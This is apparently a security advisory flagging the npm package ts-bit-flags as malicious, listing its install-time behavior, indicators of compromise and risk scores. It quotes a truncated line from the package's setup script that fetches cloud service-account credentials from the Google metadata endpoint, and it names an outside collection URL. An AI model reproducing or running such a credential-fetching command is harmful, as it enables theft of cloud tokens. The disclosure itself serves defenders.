GCVE-110-OSM-2026-2037

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published April 12, 2026

Malicious package detected. Behaviors: code execution, network activity, install-time execution. Payload: scripts/setup.sh Secondary files: index.js Key findings: - Download and Execute in scripts/setup.sh: "curl -s -H "Metadata-Flavor: Google" \ "$MDURL/instance/service-accounts/defau..." - Shell Command Execution in index.js: "require('child_process')" - Very New NPM Publisher Account IOCs: - urls: https://$H$EP, http://metadata.google.internal/computeMetadata/v1, https://aaronstack.com/poc/token, http://$GW:8080/metrics, http://$GW:8080$PPATH (+4 more) - domains: aaronstack.com, $h$ep, metadata.google.internal, $gw - payloadFileHash: e4bef8cd492862165da3a6465cda849e4ef96e63550069a08aee3a0f40ba0ce6

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	ts-bit-flags	all (affected)	—

References

Malicious npm package: ts-bit-flags

advisory

vendor

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